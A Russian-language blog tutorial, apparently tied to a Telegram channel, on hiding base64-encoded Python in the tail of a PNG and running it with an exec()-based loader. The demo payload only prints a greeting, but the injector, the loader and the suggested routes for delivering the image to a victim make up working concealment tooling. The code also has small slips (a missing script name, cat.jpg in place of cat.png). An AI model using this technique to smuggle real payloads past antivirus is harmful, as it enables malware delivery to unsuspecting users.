June 22

Как спрятать вирус в картину При помощи Python 

И так, предупреждаю всех кто подумал, что запустив .PNG файл у вас запуститься вирус. Нет, мы скроем вирус ВНУТРИ .PNG файла никак не затронув того что там содержиться. Этот способ могут использовать хакеры для скрытия PAYLOAD (можно сказать, PAYLOAD - код нашего вируса) от антивирусов.

Работает всё это дело так: Хакеры создают исполнитель PAYLOAD'а. В нашем случае это Python (мы его будем использовать лишь чтобы показать вам как это может произойти. В реальных случаях, хакеры могут использовать C++, C# и другие языки которые легко компилируются в исполняемые файлы). Дальше они берут код вируса, шифруют его (в нашем случае это будет обычная кодировка с помощью base64 без использования алгоритмов шифрования) и вставляют в конец файла .PNG разделяя каким-нибудь набором символа (так называемый SPLITTER, разделитель)

Подготовка

Я возьму картинку котика, вот такую:

Милый котик . Взял первую картинку из гугла

Я создал файл inject.py и написал следующий код:

"""
Image code injection example
"""

import base64
import pathlib
import sys

# import argparse if application is run from the terminal
if __name__ == '__main__':
  import argparse


def inject(path: pathlib.Path, code: str | bytes, splitter: bytes = b'^^^^^^s0meart^^^^^^'):
  """
  Injects a code to image by path

  :param path: Path to the image
  :param code: Code to inject
  :param splitter: Splitter to split image and code
  """

  # convert code to bytes if required
  if not isinstance(code, bytes): code = code.encode('utf8')

  # write splitter and base64-encoded code to the end of file
  path.write_bytes(path.read_bytes() + splitter + base64.b64encode(code))


# execute if application is run from the terminal
if __name__ == '__main__':
  # create argument parser
  parser = argparse.ArgumentParser()

  parser.add_argument('-i', '--image', 
                      help='path to the image',
                      required=True)
  parser.add_argument('-c', '--code',
                      help='path to the file with python code',
                      required=True)

  # parse arguments
  args = parser.parse_args()

  # get path to the image
  img_path = pathlib.Path(args.image)

  # check for the image path
  if not (img_path.exists() and img_path.is_file()):
    print('Image path not found')
    sys.exit()

  # get path to the code
  code_path = pathlib.Path(args.code)

  # check for the code path
  if not (code_path.exists() and code_path.is_file()):
    print('Code path not found')
    sys.exit()

  # try to inject
  try:
    # read the code
    code = code_path.read_bytes()

    inject(img_path, code)
    print('Code successfully injected!')

  except Exception as exc: # catch exception and print it
    print(f'Cannot to inject the code to image. Exception: {exc}')
    sys.exit()

В моём коде можно увидеть что здесь всего лишь добавление SPLITTER'а и нашего кода в конец файла.

Работает эта утилита так:

(WINDOWS): python -i (путь к изображению) -c (путь к .py файлу)
(LINUX): python3 -i (путь к изобраению) -c (путь к .py файлу)

Далее я создал файл payload.py с нашим потенциальным "вирусом":

print("Hello, world")

Теперь я запустил свою утилиту подобным образом:

(WINDOWS): python -i cat.png -c payload.py
(LINUX): python3 -i cat.png -c payload.py

Готово. Наше изображение cat.png теперь в конце файла хранит наш "вирус". Каким же образом хакеры могут его доставить жертве?

  1. Вместе с приложением, которое запустит этот код
  2. Скинув жертве изображение в сыром виде (Допустим, несжатое изображение в Telegram). Передать вам приложение, которое запустит изображение. Оно в кэше найдёт данное изображение (по содержанию SPLITTER'а) и в последующем запустит.
  3. И много других способов

Теперь напишем приложение которое запустит его. Наш контекст будет это первый случай из первого списка, по скольку я не буду никого подвергать атаке и буду тестировать сугубо на своём компьютере.

Я создал файл execute.py и написал следующий код:

"""
Image code injection example.
Executor
"""

import base64
import pathlib
import sys

if __name__ == '__main__':
  # path to the image with code (there is cat.png in current directory)
  path_to_image = pathlib.Path('./cat.jpg')


def execute_code(b64code: str | bytes):
  """
  Executes base64-encoded python code

  :param b64code: Base64-encoded code
  """

  # convert code to bytes if required
  if not isinstance(b64code, bytes): b64code = b64code.encode('utf8')

  # try to execute the code
  try:
    exec(base64.b64decode(b64code))
    print('Code executed!')
  except Exception as exc:
    print(f'Can\'t execute code. Exception: {exc}')


def get_code_from_image(path: pathlib.Path, splitter: bytes = b'^^^^^^s0meart^^^^^^') -> bytes:
  """
  Gets injected code from image by path

  :param path: Path to image
  :param splitter: Splitter to split image and code
  """

  # read the file
  content = path.read_bytes()

  # check if splitter in the file
  if splitter not in content:
    print('Cannot to find splitter in the image')
    return

  # get base64-encoded code
  b64code = content.split(splitter)[1]

  # return code
  return b64code


if __name__ == '__main__':
  # check if image is exists
  if not (path_to_image.exists() and path_to_image.is_file()):
    print('Image path not found')
    sys.exit()

  # try to get code
  try:
    b64code = get_code_from_image(path_to_image)
  except Exception as exc:
    print('Can\'t get code from the image')
    sys.exit()

  # execute code
  execute_code(b64code)

Теперь, запустив файл execute.py я получил такой результат:

$ python execute.py
Hello, world!
Code executed!

Поздравляю! Теперь вы знаете как хакеры могут скрывать свои вирусы в изображениях почти любого типа.

телеграмм канал